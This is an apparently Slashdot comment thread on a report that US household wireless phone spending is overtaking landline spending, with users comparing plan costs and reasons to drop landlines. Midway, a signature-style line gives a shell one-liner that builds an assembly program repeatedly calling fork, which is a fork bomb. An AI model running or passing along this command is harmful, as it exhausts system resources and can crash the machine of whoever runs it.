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2007 Sees Wireless Spending Outstrip Landlines
prostoalex writes "Each December the Bureau of Labor Statistics prepares a report on telecommunications spending among US households. They analyze the previous year's data, so their most recent release says that in 2006 the average US household spent $542 on their landline, and $524 on their wireless bill. The way the curves are headed, 2007 is likely to become the first year when wireless spending will surpass landline spending. 'To be sure, when corporate cell-phone use is counted, overall U.S. spending surpassed land line spending several years ago, analysts said.'"
Didn't know you could still get those.
um...duh?
landlines don't give you varying costs, usage limitations, texting plans, ringtones, MP3s, games, yadda yadda yadda. all landlines do is let you talk/fax.
of course mobile phone spending is gonna outstrip it. the real question to me is why did it take this long?
ed
I reached a point three years ago where the only calls I got on my landline any more were telemarketers.
So I cancelled it and went to a $55 a month plan with rollover minutes. I finally exceeded that in August ($127! Ouchee!) and had to go to a $65 a month plan.
I recently got a $16 a month AT&T line just so I could find my phone when I lose it tho. I leave the ringer off and it is good for 25 outgoing calls. If i get a call when I am off plan that looks like it will be long, I take the call on the land line. This is helpful during the holidays when I am off a lot during off-plan hours.
She was like chocolate when she drank... semi-sweet at first and then increasingly bitter.
In fact if you read industry internal stuff you find phrases like this
http://www.ovum.com/news/euronews.asp?id=4326 It is likely the increase of prepaid customers contributed to the decline in data ARPU, which was lower year-on-year at 74 Euros (annual figure). ARPU is "Average Revenue Per User". So Pre Pay is cheaper. From the perspective of the telcos, sometimes it is disasterously so
http://www.fin24.co.za/articles/default/display_article.aspx?ArticleId=1518-24_2220175 Vodacom said in a statement that it is the group's policy to disconnect inactive prepaid SIM cards after seven months without a revenue generating activity on the Vodacom network. So the ARPU for some pre paid customers was literally zero. Presumably there's some cost to keeping them connected, so Vodafone was making a loss.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
landline plans start at around 15 USD a month, cell phone plans start at what, 39 USD? So, total dollars spent is meaningless except as a metric for potential businesses to see how much money they can make. It's similar to comparing box office dollar amounts between years -- if the ticket prices is higher in one year than the other, then total dollar comparisons don't reveal anything about usage. A better metric would be the number of land line accounts vs. cell phone accounts
I have a VoIP number, just to have a "local, home" number with unlimited calling. Yet it's often done more harm than good. Everyone I know gets confused beyond belief if I ever call them with more than one number, and yes, even once I explain that one is a cell and one is home.
Has anyone had problems with giving a cell number to hospitals, law enforcement, etc? I was given a speeding ticket and the officer said cell numbers are not acceptable.
Also, are apartments, employers, etc. okay with out-of-area-code contact numbers?
Apology to Ubuntu forum.
The McLuhan inversion of the cellphone is "the tether" and I intensely dislike being at everyone's beck and call, and PAYING for the "privilege", I ditched the cell.
If you want me - land line at either my home or office. If it's less urgent, then email me. If it requires instant attention and I'm on the clock, then IM me. If I'm not responding, instantly, then perhaps I'm TAKING A SHIT AND WANT TO BE LEFT ALONE.
A cell is no guarantee of access anyway - when I did have it, it was usually turned off.
Then there's the downside. My brother ditched landline for cell. We have a conversation. He walks to the otherside of his apartment and he gets dropped. Last night I call a friend who also ditched landline. The conversation w nt som t ng li e th s. Garbage. I was able to get enough to him to tell him to email me with his questions, oh, and ditch the fucking cellphone.
with my landline, I have infinite long distance all over north america. I have DSL and web hosting rolled into it, and with my "extra services" I think I pay around CDN$100 a month.
And I'm a lot happier being "less accessible".
RS
Shoes for Industry. Shoes for the Dead.
On the one hand, you have to make and receive all your phone calls from the same place, but on the other hand you get to decide elections. They say one vote can't make a difference, but that doesn't apply to election polls where there's only five landline-owners left to poll and the other four are 90 year olds planning on voting for Roosevelt.
I bought a job lot just after the first Gulf War, haven't spent a penny on them in years...
Brocklesby Park Cricket Club
About a decade ago now, I cancelled my landline service when the first dual-band cell phones came out. Being in the Baltimore-Washington Metropolitan Area, coverage was pretty decent although there were pockets of poor signal strength. Overall, though, it was more than good enough for my purposes 99% of the time even given how mobile I am, traveling around to conferences around the country. I did have a a few arguments with some businesses a decade ago where they couldn't comprehend how someone would not have a "home phone" and that I only carried a cell phone. I argued with my neighborhood pizza place that recognized the phone prefix as not being a "home phone" -- the prefix was a dead give-away as a cell phone at the time (they wouldn't take orders from cell phones due to prank cell calls). Even that and arguments with my bank, though, were resolved easily enough once I convinced them that I was absolutely serious.
My reasoning for dropping the landline was simple. If I want to talk to someone, it makes sense to call a *person* and not a *location*. It makes no sense to me to call a location when you're looking for a person unless you know you can't call them directly or you are absolutely sure where they are at. So by only having a cell phone, my friends and family could call me and know that, if I answered, they would be talking to me. If I didn't answer, I was either not available or simply not interested in talking to them at that time. Even with only a cell phone, the phone is primarily for *my* convenience, not the convenience of others (and I expect no differently of others unless it's a business). I find it absurd that some people feel compelled to answer their phone when it inconveniences them.
The last point to share was that the phone was a good one (and damn expensive). A lot of my friends in the same area had utterly *horrible* reception primarily because they bought crap phones or even accepted the "free" ones that were comp'd with the service. I think it's still just as true today and a reason why a lot of people haven't yet converted or don't like dealing with cell phones. You get what you pay for and too many people pay more attention to the short term up-front cost than the long term maintenance and reliability. Get the high-end phone.
Save yourself the money on the landline. Buy the best cell phone you can find. Spend more quality time with them in person.
FWIW, the telemarketing calls stopped almost instantly. Took five years before I got a single telemarketer call and by then I knew exactly who gave out my number (Comcast) and they got an earful in return. None since.
Cheers!
Sean